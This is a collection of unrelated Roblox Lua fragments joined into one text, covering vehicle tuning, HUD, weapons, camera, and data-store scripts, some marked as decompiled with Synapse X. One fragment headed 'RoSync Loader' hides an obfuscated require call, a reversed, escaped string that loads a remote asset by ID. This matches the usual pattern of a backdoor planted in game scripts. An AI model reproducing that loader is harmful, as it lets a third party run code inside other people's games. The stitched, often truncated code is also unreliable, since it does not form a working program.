--Torque Curve Tune.Horsepower = 773 -- [TORQUE CURVE VISUAL] Tune.IdleRPM = 1100 -- https://www.desmos.com/calculator/2uo3hqwdhf Tune.PeakRPM = 8250 -- Use sliders to manipulate values Tune.Redline = 8750 -- Copy and paste slider values into the respective tune values Tune.EqPoint = 5250 Tune.PeakSharpness = 5.8 Tune.CurveMult = 0.294 --Incline Compensation Tune.InclineComp = 1.5 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees) --Misc Tune.RevAccel = 400 -- RPM acceleration when clutch is off Tune.RevDecay = 300 -- RPM decay when clutch is off Tune.RevBounce = 450 -- RPM kickback from redline Tune.IdleThrottle = 0 -- Percent throttle at idle Tune.ClutchTol = 450 -- Clutch engagement threshold (higher = faster response, lower = more stable RPM)
--[[Algemado.Changed:Connect(function() Stance:FireServer(Stances,Virar,Rendido.Value) end)]]
Humanoid.Died:Connect(function() TS:Create(char.Humanoid, TweenInfo.new(1), {CameraOffset = Vector3.new(0,0,0)} ):Play() Main.Visible = false end) local BleedTween = TS:Create(Main.Poses.Bleeding, TweenInfo.new(1,Enum.EasingStyle.Linear,Enum.EasingDirection.InOut,-1,true), {ImageColor3 = Color3.fromRGB(150, 0, 0)} ) BleedTween:Play() saude:GetAttributeChangedSignal("Surrender"):Connect(function() local Valor = saude:GetAttribute("Surrender") Evt.Stance:FireServer(nil,nil,Valor) end) saude:GetAttributeChangedSignal("Bleeding"):Connect(function() local Valor = saude:GetAttribute("Bleeding") if Valor == true then Main.Poses.Bleeding.Visible = true else Main.Poses.Bleeding.Visible = false end end) saude:GetAttributeChangedSignal("Injured"):Connect(function() local Valor = saude:GetAttribute("Injured") if Valor == true then TS:Create(Main.Poses.Levantado, TweenInfo.new(.2,Enum.EasingStyle.Linear), {ImageColor3 = Color3.fromRGB(150, 0, 0)}):Play() TS:Create(Main.Poses.Agaixado, TweenInfo.new(.2,Enum.EasingStyle.Linear), {ImageColor3 = Color3.fromRGB(150, 0, 0)}):Play() TS:Create(Main.Poses.Deitado, TweenInfo.new(.2,Enum.EasingStyle.Linear), {ImageColor3 = Color3.fromRGB(150, 0, 0)}):Play() else TS:Create(Main.Poses.Levantado, TweenInfo.new(.2,Enum.EasingStyle.Linear), {ImageColor3 = Color3.fromRGB(255, 255, 255)}):Play() TS:Create(Main.Poses.Agaixado, TweenInfo.new(.2,Enum.EasingStyle.Linear), {ImageColor3 = Color3.fromRGB(255, 255, 255)}):Play() TS:Create(Main.Poses.Deitado, TweenInfo.new(.2,Enum.EasingStyle.Linear), {ImageColor3 = Color3.fromRGB(255, 255, 255)}):Play() end end) local a = Main.Vest local b = Main.Helm local Ener = Main.Poses.Energy function Vest() if Protecao.VestProtect.Value <= 0 then TS:Create(a, TweenInfo.new(1), {ImageTransparency = 1} ):Play() else TS:Create(a, TweenInfo.new(1), {ImageTransparency = .125} ):Play() end end function Helmet() if Protecao.HelmetProtect.Value <= 0 then TS:Create(b, TweenInfo.new(1), {ImageTransparency = 1} ):Play() else TS:Create(b, TweenInfo.new(1), {ImageTransparency = .125} ):Play() end end function Stamina() if ServerConfig.EnableStamina then if saude.Variaveis.Stamina.Value <= (saude.Variaveis.Stamina.MaxValue/2) then Ener.ImageColor3 = Color3.new(1,saude.Variaveis.Stamina.Value/(saude.Variaveis.Stamina.MaxValue/2),saude.Variaveis.Stamina.Value/saude.Variaveis.Stamina.MaxValue) Ener.Visible = true elseif saude.Variaveis.Stamina.Value < saude.Variaveis.Stamina.MaxValue then Ener.ImageColor3 = Color3.new(1,1,saude.Variaveis.Stamina.Value/saude.Variaveis.Stamina.MaxValue) Ener.Visible = true elseif saude.Variaveis.Stamina.Value >= saude.Variaveis.Stamina.MaxValue then Ener.Visible = false end else saude.Variaveis.Stamina.Value = saude.Variaveis.Stamina.MaxValue Ener.Visible = false end end Vest() Helmet() Stamina() Protecao.VestProtect.Changed:Connect(Vest) Protecao.HelmetProtect.Changed:Connect(Helmet) saude.Variaveis.Stamina.Changed:Connect(Stamina) function L_150_.Update() if saude.Variaveis.Stamina.Value <= (saude.Variaveis.Stamina.MaxValue/2) then local StaminaX = (1 - (saude.Variaveis.Stamina.Value)/(saude.Variaveis.Stamina.MaxValue/2))/20 Camera.CoordinateFrame = Camera.CoordinateFrame * CFrame.Angles( math.rad( StaminaX * math.sin( tick() * 3.5 )) , math.rad( StaminaX * math.sin( tick() * 1 )), 0) end end maxAir = 100 air = maxAir lastHealth = 100 lastHealth2 = 100 maxWidth = 0.96 local Nadando = false Humanoid.StateChanged:connect(function(state) if state == Enum.HumanoidStateType.Swimming then Nadando = true else Nadando = false end end) game:GetService("RunService"):BindToRenderStep("Camera Update", 200, L_150_.Update) while wait() do if ServerConfig.CanDrown and player.Character:FindFirstChild("Head") then local min = player.Character.Head.Position - (.1 * player.Character.Head.Size) local max = player.Character.Head.Position + (.1 * player.Character.Head.Size) local region = Region3.new(min,max):ExpandToGrid(4) local material = workspace.Terrain:ReadVoxels(region,4)[1][1][1] if player.Character.Humanoid.Health > 0 then if material == Enum.Material.Water then if air > 0 then air = air-0.15 elseif air <= 0 then air = 0 player.Character.Humanoid.Health = 0 end else if air < maxAir then air = air + .5 end end end if air <= 50 then script.Parent.Frame.Oxygen.ImageColor3 = Color3.new(1,air/50,air/100) script.Parent.Frame.Oxygen.Visible = true elseif air < maxAir then script.Parent.Frame.Oxygen.ImageColor3 = Color3.new(1,1,air/100) script.Parent.Frame.Oxygen.Visible = true elseif air >= maxAir then script.Parent.Frame.Oxygen.Visible = false end script.Parent.Efeitos.Oxigen.ImageTransparency = air/100 if air <= 25 then script.Parent.Efeitos.Oxigen.BackgroundTransparency = air/25 end end end
--[[ This file is to provide a simple place to update values that this error reporter needs to be able to function properly. These values are only read in as constants. Changing them while the game is running will not update the behaviors of the reporters. ]]
return { -- Game metadata GAME_VERSION = "0.0.1", -- Google Analytics values REPORT_TO_GOOGLE_ANALYTICS = true, GOOGLE_ANALYTICS_TRACKING_ID = "UA-149120298-1", ---TODO: PLS REMOVE BEFORE RELEASE PRINT_SUCCESSFUL_GOOGLE_ANALYTICS = true, -- PlayFab values REPORT_TO_PLAYFAB = false, PRINT_SUCCESSFUL_PLAYFAB = true, -- General behaviors DEBUG_HTTP = false, DEBUG_REPORTER = false, }
------------------------------------------------------------------------ -- verifies token conditions are met or else throw error ------------------------------------------------------------------------
function luaY:check_match(ls, what, who, where) if not self:testnext(ls, what) then if where == ls.linenumber then self:error_expected(ls, what) else luaX:syntaxerror(ls, string.format( self.LUA_QS.." expected (to close "..self.LUA_QS.." at line %d)", luaX:token2str(ls, what), luaX:token2str(ls, who), where)) end end end
--Door script --Variables
local doora = script.Parent.Parent.Door local debounce = false local open = false
--[[ Last synced 11/11/2020 02:27 RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
-- Grab MostPoints value:
local mostPoints = PointsService.MostPoints:Get()
--//SS6 PLUGIN; SPLASH//--
--//INSPARE 2017//-- local ai = script.Parent.Main_Frame.A.Frame.ImageLabel local bi = script.Parent.Main_Frame.B.Frame.ImageLabel local ci = script.Parent.Main_Frame.C.Frame.ImageLabel local di = script.Parent.Main_Frame.D.Frame.ImageLabel local ei = script.Parent.Main_Frame.E.Frame.ImageLabel ai.Size = UDim2.new(18,0,9,0) bi.Size = UDim2.new(18,0,9,0) ci.Size = UDim2.new(18,0,9,0) di.Size = UDim2.new(18,0,9,0) ei.Size = UDim2.new(18,0,9,0) wait(.2) script.Parent.SplashFade.OC:Play() while true do for i=1,2 do for i=1,5 do ai.Position = ai.Position - UDim2.new(3,0,0,0) bi.Position = bi.Position - UDim2.new(3,0,0,0) ci.Position = ci.Position - UDim2.new(3,0,0,0) di.Position = di.Position - UDim2.new(3,0,0,0) ei.Position = ei.Position - UDim2.new(3,0,0,0) wait(.1) end ai.Position = ai.Position + UDim2.new(15,0,-3,0) bi.Position = bi.Position + UDim2.new(15,0,-3,0) ci.Position = ci.Position + UDim2.new(15,0,-3,0) di.Position = di.Position + UDim2.new(15,0,-3,0) ei.Position = ei.Position + UDim2.new(15,0,-3,0) wait(.1) end ai.Position = ai.Position + UDim2.new(0,0,6,0) bi.Position = bi.Position + UDim2.new(0,0,6,0) ci.Position = ci.Position + UDim2.new(0,0,6,0) di.Position = di.Position + UDim2.new(0,0,6,0) ei.Position = ei.Position + UDim2.new(0,0,6,0) wait(.1) end
-- ScreenSpace -> WorldSpace. Taking a screen height, and a depth to put an object -- at, and returning a size of how big that object has to be to appear that size -- at that depth.
function ScreenSpace.ScreenToWorldByHeightDepth(x, y, screenHeight, depth) local aspectRatio = ScreenSpace.AspectRatio() local hfactor = math.tan(math.rad(Workspace.CurrentCamera.FieldOfView)/2) local wfactor = aspectRatio*hfactor local sx, sy = ScreenSpace.ViewSizeX(), ScreenSpace.ViewSizeY() -- local worldHeight = -(screenHeight/sy) * 2 * hfactor * depth -- local xf, yf = x/sx*2 - 1, y/sy*2 - 1 local xpos = xf * -wfactor * depth local ypos = yf * hfactor * depth -- return Vector3.new(xpos, ypos, depth), worldHeight end
-- Decompiled with the Synapse X Luau decompiler.
while true do wait(); if game.Players.LocalPlayer then break; end; end; local l__LocalPlayer__1 = game.Players.LocalPlayer; script.ghost2:Play(); for v2, v3 in pairs(l__LocalPlayer__1.Character:GetChildren()) do if v3:IsA("BasePart") then v3.Material = Enum.Material.ForceField; end; end; game.Workspace.Gravity = 80; wait(25); for v4 = 1, 15 do for v5, v6 in pairs(l__LocalPlayer__1.Character:GetChildren()) do if v6:IsA("BasePart") then v6.Material = Enum.Material.Plastic; end; end; wait(0.1); for v7, v8 in pairs(l__LocalPlayer__1.Character:GetChildren()) do if v8:IsA("BasePart") then v8.Material = Enum.Material.ForceField; end; end; wait(0.1); end; for v9, v10 in pairs(l__LocalPlayer__1.Character:GetChildren()) do if v10:IsA("BasePart") then v10.Material = Enum.Material.Plastic; end; end; game.Workspace.Gravity = 196.2; wait(0.2); script.Parent:Remove();
-- if hit:getMass() < 1.2 * 200 then -- hit.BrickColor = ball.BrickColor -- end
-- make a splat
--plr.TeamColor = game.Teams.D.TeamColor
plr:LoadCharacter() end end)
--[[Steering]]
Tune.SteerInner = 45.2 -- Inner wheel steering angle (in degrees) Tune.SteerOuter = 45.2 -- Outer wheel steering angle (in degrees) Tune.SteerSpeed = .18 -- Steering increment per tick (in degrees) Tune.ReturnSpeed = .2 -- Steering increment per tick (in degrees) Tune.SteerDecay = 330 -- Speed of gradient cutoff (in SPS) Tune.MinSteer = 10 -- Minimum steering at max steer decay (in percent) Tune.MSteerExp = 1 -- Mouse steering exponential degree
--
return { Point = Point; Constraint = Constraint; }
--[[Jak to komuś rozdasz to cie zabije Cieżko się naprawcowałem :v]]
--// Damage Settings
BaseDamage = 46; -- Torso Damage LimbDamage = 40; -- Arms and Legs ArmorDamage = 38; -- How much damage is dealt against armor (Name the armor "Armor") HeadDamage = 1000; -- If you set this to 100, there's a chance the player won't die because of the heal script
--[[ ButtonFire.ProximityPrompt.Enabled = true ButtonFire.ProximityPrompt.MaxActivationDistance = 5 ButtonFire.ProximityPrompt.Triggered:Connect(function() Events:Fire("fire",1) ButtonFire.Click:Play() end) ]]
ButtonCancel.ProximityPrompt.Triggered:Connect(function() Events:Fire("signal",0) ButtonCancel.Click:Play() end) ButtonTest.ProximityPrompt.Triggered:Connect(function() Events:Fire("test") end) ButtonTest.ProximityPrompt.TriggerEnded:Connect(function() Events:Fire("stoptest") end)
-- Ragdoll On
local UTJointB = character.UpperTorso:FindFirstChild("WaistRigAttachment") local LTJointB = character.LowerTorso:FindFirstChild("WaistRigAttachment")
-- Decompiled with the Synapse X Luau decompiler.
client = nil; service = nil; return function(p1) local v1 = p1.Table or p1.Tab; local l__Update__2 = p1.Update; local l__AutoUpdate__3 = p1.AutoUpdate; local l__LoadTime__4 = p1.LoadTime; local l__gIndex__5 = p1.gIndex; local l__gTable__6 = p1.gTable; local l__Dots__7 = p1.Dots; local l__Sanitize__8 = p1.Sanitize; local l__Stacking__1 = p1.Stacking; local u2 = nil; local u3 = nil; local function u4(p2) local v9 = {}; for v10, v11 in next, p2 do if type(v11) == "table" then v9[v10] = { Text = v11.Text, Desc = v11.Desc, Time = v11.Time, Filter = v11.Filter, Duplicates = v11.Duplicates }; elseif type(v11) == "string" then v9[v10] = { Text = v11, Desc = v11 }; end; end; if l__Stacking__1 then v9 = {}; local v12 = nil; for v13, v14 in next, v9 do v14.Text = service.Trim(v14.Text); v14.Desc = service.Trim(v14.Desc); if not v12 then v12 = v14; table.insert(v9, v14); elseif v12.Text == v14.Text and v12.Desc == v14.Desc then v12.Duplicates = v12.Duplicates and v12.Duplicates + 1 or 2; else v12 = v14; table.insert(v9, v14); end; end; end; local l__next__15 = next; local v16 = nil; while true do local v17, v18 = l__next__15(v9, v16); if not v17 then break; end; v18.Text = p1.Sanitize and service.SanitizeString(v18.Text) or v18.Text; if v18.Duplicates then v18.Text = "(x" .. v18.Duplicates .. ") " .. v18.Text; end; if v18.Time then v18.Text = "[" .. v18.Time .. "] " .. v18.Text; end; end; return v9; end; local function u5(p3, p4) local v19 = {}; p4 = p4:lower(); for v20, v21 in next, p3 do if p4 == "" or type(v21) == "string" and not (not v21:lower():find(p4)) or type(v21) == "table" and (not (not v21.Text) and not (not v21.Text:lower():find(p4)) or v21.Filter and v21.Filter:lower():find(p4)) then table.insert(v19, v21); end; end; return v19; end; local function v22(p5) if u2.Text ~= "Search" and u2.Text ~= "" then u3:GenerateList(u4(u5(p5, u2.Text))); return; end; u2.Text = "Search"; u3:GenerateList(u4(p5)); end; local v23 = { Name = "List", Title = p1.Title, Size = p1.Size or { 225, 200 }, MinSize = { 150, 100 } }; local v24 = l__Update__2; if v24 then local u6 = v1; local l__UpdateArgs__7 = p1.UpdateArgs; local l__UpdateArg__8 = p1.UpdateArg; v24 = function() u6 = client.Remote.Get("UpdateList", l__Update__2, unpack(l__UpdateArgs__7 or { l__UpdateArg__8 })); if u6 then v22(u6); end; end; end; v23.OnRefresh = v24; local v25 = client.UI.Make("Window", v23); u3 = v25:Add("ScrollingFrame", { List = {}, ScrollBarThickness = 2, BackgroundTransparency = 1, Position = UDim2.new(0, 5, 0, 30), Size = UDim2.new(1, -10, 1, -30) }); u2 = v25:Add("TextBox", { Size = UDim2.new(1, -10, 0, 20), Position = UDim2.new(0, 5, 0, 5), BackgroundTransparency = 0.5, BorderSizePixel = 0, TextColor3 = Color3.new(1, 1, 1), Text = "Search", PlaceholderText = "Search", TextStrokeTransparency = 0.8 }); u2.FocusLost:connect(function(p6) v22(v1); end); v25:Ready(); v22(v1); if l__Update__2 and l__AutoUpdate__3 then while v25.gTable.Active and wait(l__AutoUpdate__3) do v25:Refresh(); end; end; end;
--//=================================\\ --|| EFFECTS --\\=================================//
function SpawnPuddle(POSITION,IGNR,GOO) local HIT,POS,NOR = Raycast(POSITION, CFrame.new(POSITION,POSITION-Vector3.new(0,1,0)).lookVector, 12, IGNR) if HIT then coroutine.resume(coroutine.create(function() local GOREPART = CreatePart(3, Effects, "SmoothPlastic", 0, 1, "White", "Gore", VT(3,0,3), true) local SURFACE = script.Puddle:Clone() SURFACE.Parent = GOREPART if GOO == true then SURFACE.Image.ImageColor3 = C3(1,1,1) end GOREPART.CFrame = CFrame.new(POS,POS+NOR)*CFrame.Angles(math.rad(-90),math.rad(math.random(0,360)),0) for i = 1, math.random(25,65) do Swait() GOREPART.Size = GOREPART.Size + Vector3.new(0.1,0,0.1) end wait(math.random(10,25)/50) for i = 1, 25 do Swait() SURFACE.Image.ImageTransparency = SURFACE.Image.ImageTransparency + 1/25 end GOREPART:Remove() end)) end end
-- RANK, RANK NAMES & SPECIFIC USERS
Ranks = { {5, "Hail Me", }; {4, "HeadAdmin", {"",0}, }; {3, "Admin", {"",0}, }; {2, "Mod", {"",0}, }; {1, "VIP", {"",0}, }; {0, "NonAdmin", }; };
--// Connections
L_107_.OnClientEvent:connect(function(L_190_arg1, L_191_arg2, L_192_arg3, L_193_arg4, L_194_arg5, L_195_arg6, L_196_arg7) if L_190_arg1 and not L_15_ then MakeFakeArms() L_42_ = L_2_.PlayerGui.MainGui L_26_ = L_42_:WaitForChild('Others') L_27_ = L_26_:WaitForChild('Kill') L_28_ = L_42_:WaitForChild('GameGui'):WaitForChild('AmmoFrame') L_29_ = L_28_:WaitForChild('Ammo') L_30_ = L_28_:WaitForChild('AmmoBackground') L_31_ = L_28_:WaitForChild('MagCount') L_32_ = L_28_:WaitForChild('MagCountBackground') L_33_ = L_28_:WaitForChild('DistDisp') L_34_ = L_28_:WaitForChild('Title') L_35_ = L_28_:WaitForChild('Mode1') L_36_ = L_28_:WaitForChild('Mode2') L_37_ = L_28_:WaitForChild('Mode3') L_38_ = L_28_:WaitForChild('Mode4') L_39_ = L_28_:WaitForChild('Mode5') L_40_ = L_28_:WaitForChild('Stances') L_41_ = L_42_:WaitForChild('Shading') L_41_.Visible = false L_34_.Text = L_1_.Name UpdateAmmo() L_43_ = L_191_arg2 L_44_ = L_192_arg3 L_45_ = L_193_arg4 L_46_ = L_194_arg5 L_47_ = L_195_arg6 L_48_ = L_196_arg7 L_49_ = L_61_.Bolt L_86_ = L_48_.C1 L_87_ = L_48_.C0 if L_1_:FindFirstChild('AimPart2') then L_56_ = L_1_:WaitForChild('AimPart2') end if L_1_:FindFirstChild('FirePart2') then L_59_ = L_1_.FirePart2 end if L_24_.FirstPersonOnly then L_2_.CameraMode = Enum.CameraMode.LockFirstPerson end --uis.MouseIconEnabled = false L_5_.FieldOfView = 70 L_15_ = true elseif L_15_ then if L_3_ and L_3_.Humanoid and L_3_.Humanoid.Health > 0 and L_9_ then Stand() Unlean() end L_92_ = 0 L_79_ = false L_80_ = false L_81_ = false L_63_ = false L_66_ = false L_65_ = false Shooting = false L_96_ = 70 RemoveArmModel() L_42_:Destroy() for L_197_forvar1, L_198_forvar2 in pairs(IgnoreList) do if L_198_forvar2 ~= L_3_ and L_198_forvar2 ~= L_5_ and L_198_forvar2 ~= L_100_ then table.remove(IgnoreList, L_197_forvar1) end end if L_3_:FindFirstChild('Right Arm') and L_3_:FindFirstChild('Left Arm') then L_3_['Right Arm'].LocalTransparencyModifier = 0 L_3_['Left Arm'].LocalTransparencyModifier = 0 end L_77_ = false L_68_ = true L_2_.CameraMode = Enum.CameraMode.Classic L_106_.MouseIconEnabled = true L_5_.FieldOfView = 70 L_15_ = false L_106_.MouseDeltaSensitivity = L_52_ L_4_.Icon = "http://www.roblox.com/asset?id=0" L_15_ = false L_4_.TargetFilter = nil end end)
--
end else print("sh") end else print("arms") end end
-- This function is a primitive "pick randomly from table" function.
function main:GetRandomSound(SoundTable : {}) : string return SoundTable[math.random(#SoundTable)] end return main
--// Aim|Zoom|Sensitivity Customization
ZoomSpeed = 0.1; -- The lower the number the slower and smoother the tween AimZoom = 50; -- Default zoom AimSpeed = 0.25; UnaimSpeed = 0.05; CycleAimZoom = 4; -- Cycled zoom MouseSensitivity = 0.5; -- Number between 0.1 and 1 SensitivityIncrement = 0.05; -- No touchy
--[=[ @param signal Signal | RBXScriptSignal @param callbackFn UpdateCallbackFn @return Connection | RBXScriptConnection Bind the `Update` method to a signal. For instance, this can be used to connect to `RunService.Heartbeat`. All connections are cleaned up when the shake instance is stopped or destroyed. ```lua local function SomeShake(pos: Vector3, rot: Vector3, completed: boolean) -- Shake end shake:OnSignal(RunService.Heartbeat, SomeShake) ``` ]=]
function Shake:OnSignal(signal, callbackFn: UpdateCallbackFn) return self._trove:Connect(signal, function() callbackFn(self:Update()) end) end
--------------------------- --[[ --Main anchor point is the DriveSeat <car.DriveSeat> Usage: MakeWeld(Part1,Part2,WeldType*,MotorVelocity**) *default is "Weld" **Applies to Motor welds only ModelWeld(Model,MainPart) Example: MakeWeld(car.DriveSeat,misc.PassengerSeat) MakeWeld(car.DriveSeat,misc.SteeringWheel,"Motor",.2) ModelWeld(car.DriveSeat,misc.Door) ]] --Weld stuff here
MakeWeld(misc.Popups.left.lHinge,car.DriveSeat,"Motor",.1) ModelWeld(misc.Popups.left.Parts,misc.Popups.left.lHinge) MakeWeld(misc.Popups.right.rHinge,car.DriveSeat,"Motor",.1) ModelWeld(misc.Popups.right.Parts,misc.Popups.right.rHinge) MakeWeld(misc.Trunk.Hinge,car.DriveSeat,"Motor",.1) ModelWeld(misc.Trunk.Parts,misc.Trunk.Hinge) MakeWeld(misc.Hood.Hinge,car.DriveSeat,"Motor",.1) ModelWeld(misc.Hood.Parts,misc.Hood.Hinge) MakeWeld(car.Misc.Wheel.A,car.DriveSeat,"Motor",.5).Name="W" ModelWeld(car.Misc.Wheel.Parts,car.Misc.Wheel.A)
--------LEFT DOOR 1--------
game.Workspace.doorleft.l73.BrickColor = BrickColor.new(135) game.Workspace.doorleft.l11.BrickColor = BrickColor.new(102) game.Workspace.doorleft.l12.BrickColor = BrickColor.new(102) game.Workspace.doorleft.l13.BrickColor = BrickColor.new(102) game.Workspace.doorleft.l41.BrickColor = BrickColor.new(102) game.Workspace.doorleft.l42.BrickColor = BrickColor.new(102) game.Workspace.doorleft.l43.BrickColor = BrickColor.new(102) game.Workspace.doorleft.l71.BrickColor = BrickColor.new(102) game.Workspace.doorleft.l72.BrickColor = BrickColor.new(102) game.Workspace.doorleft.l21.BrickColor = BrickColor.new(102) game.Workspace.doorleft.l22.BrickColor = BrickColor.new(102) game.Workspace.doorleft.l23.BrickColor = BrickColor.new(102) game.Workspace.doorleft.l51.BrickColor = BrickColor.new(102) game.Workspace.doorleft.l52.BrickColor = BrickColor.new(102) game.Workspace.doorleft.l53.BrickColor = BrickColor.new(102) game.Workspace.doorleft.l31.BrickColor = BrickColor.new(102) game.Workspace.doorleft.l32.BrickColor = BrickColor.new(102) game.Workspace.doorleft.l33.BrickColor = BrickColor.new(102) game.Workspace.doorleft.l61.BrickColor = BrickColor.new(102) game.Workspace.doorleft.l62.BrickColor = BrickColor.new(102) game.Workspace.doorleft.l63.BrickColor = BrickColor.new(102) game.Workspace.doorleft.pillar.BrickColor = BrickColor.new(102)
----- LOCALES ------
local GuiSounds = game:GetService("ReplicatedStorage").SFX.GUISounds local Button = script.Parent
-- When supplied, legacyCameraType is used and cameraMovementMode is ignored (should be nil anyways) -- Next, if userCameraCreator is passed in, that is used as the cameraCreator
function CameraModule:ActivateCameraController(cameraMovementMode, legacyCameraType: Enum.CameraType?) local newCameraCreator = nil if legacyCameraType~=nil then --[[ This function has been passed a CameraType enum value. Some of these map to the use of the LegacyCamera module, the value "Custom" will be translated to a movementMode enum value based on Dev and User settings, and "Scriptable" will disable the camera controller. --]] if legacyCameraType == Enum.CameraType.Scriptable then if self.activeCameraController then self.activeCameraController:Enable(false) self.activeCameraController = nil end return elseif legacyCameraType == Enum.CameraType.Custom then cameraMovementMode = self:GetCameraMovementModeFromSettings() elseif legacyCameraType == Enum.CameraType.Track then -- Note: The TrackCamera module was basically an older, less fully-featured -- version of ClassicCamera, no longer actively maintained, but it is re-implemented in -- case a game was dependent on its lack of ClassicCamera's extra functionality. cameraMovementMode = Enum.ComputerCameraMovementMode.Classic elseif legacyCameraType == Enum.CameraType.Follow then cameraMovementMode = Enum.ComputerCameraMovementMode.Follow elseif legacyCameraType == Enum.CameraType.Orbital then cameraMovementMode = Enum.ComputerCameraMovementMode.Orbital elseif legacyCameraType == Enum.CameraType.Attach or legacyCameraType == Enum.CameraType.Watch or legacyCameraType == Enum.CameraType.Fixed then newCameraCreator = LegacyCamera else warn("CameraScript encountered an unhandled Camera.CameraType value: ",legacyCameraType) end end if not newCameraCreator then if VRService.VREnabled then newCameraCreator = VRCamera elseif cameraMovementMode == Enum.ComputerCameraMovementMode.Classic or cameraMovementMode == Enum.ComputerCameraMovementMode.Follow or cameraMovementMode == Enum.ComputerCameraMovementMode.Default or cameraMovementMode == Enum.ComputerCameraMovementMode.CameraToggle then newCameraCreator = ClassicCamera elseif cameraMovementMode == Enum.ComputerCameraMovementMode.Orbital then newCameraCreator = OrbitalCamera else warn("ActivateCameraController did not select a module.") return end end local isVehicleCamera = self:ShouldUseVehicleCamera() if isVehicleCamera then if VRService.VREnabled then newCameraCreator = VRVehicleCamera else newCameraCreator = VehicleCamera end end -- Create the camera control module we need if it does not already exist in instantiatedCameraControllers local newCameraController if not instantiatedCameraControllers[newCameraCreator] then newCameraController = newCameraCreator.new() instantiatedCameraControllers[newCameraCreator] = newCameraController else newCameraController = instantiatedCameraControllers[newCameraCreator] if newCameraController.Reset then newCameraController:Reset() end end if self.activeCameraController then -- deactivate the old controller and activate the new one if self.activeCameraController ~= newCameraController then self.activeCameraController:Enable(false) self.activeCameraController = newCameraController self.activeCameraController:Enable(true) elseif not self.activeCameraController:GetEnabled() then self.activeCameraController:Enable(true) end elseif newCameraController ~= nil then -- only activate the new controller self.activeCameraController = newCameraController self.activeCameraController:Enable(true) end if self.activeCameraController then if cameraMovementMode~=nil then self.activeCameraController:SetCameraMovementMode(cameraMovementMode) elseif legacyCameraType~=nil then -- Note that this is only called when legacyCameraType is not a type that -- was convertible to a ComputerCameraMovementMode value, i.e. really only applies to LegacyCamera self.activeCameraController:SetCameraType(legacyCameraType) end end end
--Internal functions
function DataStore:Debug(...) if self.debug then print("[DataStore2.Debug]", ...) end end function DataStore:_GetRaw() if self.getRawPromise then return self.getRawPromise end self.getRawPromise = self.savingMethod:Get():andThen(function(value) self.value = value self:Debug("value received") self.haveValue = true self.getting = false end):catch(function(reason) self.getting = false self.getRawPromise = nil return Promise.reject(reason) end) return self.getRawPromise end function DataStore:_Update(dontCallOnUpdate) if not dontCallOnUpdate then for _, callback in ipairs(self.callbacks) do callback(self.value, self) end end self.haveValue = true self.valueUpdated = true end
-- ALEX WAS HERE LOL
local u1 = nil; coroutine.wrap(function() u1 = require(game.ReplicatedStorage:WaitForChild("Resources")); end)(); local u2 = {} u2 = { Add = function(p1, p2, p3) local v1 = u1.Saving.Get(p1); if not v1 then return; end; local v2 = u1.Directory.Achievements[p2]; if not v2 then return; end; local v3 = v1.Achievements[p2]; if not v3 then v1.Achievements[p2] = { stage = 1, progress = 0 }; v3 = v1.Achievements[p2]; end; v3.progress = v3.progress + p3; local l__stage__4 = v3.stage; if v2[l__stage__4] and v2[l__stage__4].amount <= v3.progress then u2.Advance(p1, p2); end; end, Advance = function(p4, p5) local v5 = u1.Saving.Get(p4); if not v5 then return; end; local v6 = u1.Directory.Achievements[p5]; local v7 = v5.Achievements[p5]; v7.stage = v7.stage + 1; v7.progress = 0; u2.Reward(p4, p5, v7.stage - 1); coroutine.wrap(function() u1.Signal.Fire("Achievement Completed", p4, p5, v7.stage); u1.Network.Fire("Achievement Completed", p4, p5, v7.stage); u1.Network.FireAll("Fireworks Animation", p4); end)(); end }; local u3 = Random.new(); function u2.Reward(p6, p7, p8) if not u1.Saving.Get(p6) then return; end; local v8 = u1.Directory.Achievements[p7][p8]; local l__rewardType__9 = v8.rewardType; local l__reward__10 = v8.reward; if l__rewardType__9 ~= "Diamonds" and l__rewardType__9 ~= "Coins" then if l__rewardType__9 == "Pet" then u1.Pets.Create(p6, l__reward__10, nil, true); return; elseif l__rewardType__9 == "GoldenPet" then local v11 = u1.Directory.Pets[l__reward__10]; u1.Pets.Create(p6, l__reward__10, { g = true, s = u3:NextInteger(v11.strengthMin, v11.strengthMax) * u1.Settings.GoldPetsMult }, true, nil, true); return; elseif l__rewardType__9 == "RainbowPet" then local v12 = u1.Directory.Pets[l__reward__10]; u1.Pets.Create(p6, l__reward__10, { r = true, s = u3:NextInteger(v12.strengthMin, v12.strengthMax) * u1.Settings.RainbowPetsMult }, true, nil, true); if v12.rarity == 'Exclusive' then end return; elseif l__rewardType__9 == "DarkMatterPet" then local v13 = u1.Directory.Pets[l__reward__10]; u1.Pets.Create(p6, l__reward__10, { dm = true, s = u3:NextInteger(v13.strengthMin, v13.strengthMax) * u1.Settings.DarkMatterPetsMult }, true, nil, true); return; else if l__rewardType__9 == "Slots" then u1.Give.Slots(p6, l__reward__10); end; return; end; end; u1.Give.Currency(p6, l__reward__10, l__rewardType__9); end; return u2;
-- Setup gesture area that camera uses while DynamicThumbstick is enabled
local function OnCharacterAdded(character) if UserInputService.TouchEnabled then if PlayerGui then local ScreenGui = Instance.new("ScreenGui") ScreenGui.Name = "GestureArea" ScreenGui.Parent = PlayerGui GestureArea = Instance.new("Frame") GestureArea.BackgroundTransparency = 1.0 GestureArea.Visible = true GestureArea.BackgroundColor3 = Color3.fromRGB(0, 0, 0) layoutGestureArea(PortraitMode) GestureArea.Parent = ScreenGui end for _, child in ipairs(LocalPlayer.Character:GetChildren()) do if child:IsA("Tool") then IsAToolEquipped = true end end character.ChildAdded:Connect(function(child) if child:IsA("Tool") then IsAToolEquipped = true end end) character.ChildRemoved:Connect(function(child) if child:IsA("Tool") then IsAToolEquipped = false end end) end end if LocalPlayer then if LocalPlayer.Character ~= nil then OnCharacterAdded(LocalPlayer.Character) end LocalPlayer.CharacterAdded:connect(function(character) OnCharacterAdded(character) end) end local function positionIntersectsGuiObject(position, guiObject) if position.X < guiObject.AbsolutePosition.X + guiObject.AbsoluteSize.X and position.X > guiObject.AbsolutePosition.X and position.Y < guiObject.AbsolutePosition.Y + guiObject.AbsoluteSize.Y and position.Y > guiObject.AbsolutePosition.Y then return true end return false end local function GetRenderCFrame(part) return part:GetRenderCFrame() end local function CreateCamera() local this = {} local R15HeadHeight = R15_HEAD_OFFSET function this:GetActivateValue() return 0.7 end function this:IsPortraitMode() return PortraitMode end function this:GetRotateAmountValue(vrRotationIntensity) vrRotationIntensity = vrRotationIntensity or StarterGui:GetCore("VRRotationIntensity") if vrRotationIntensity then if vrRotationIntensity == "Low" then return 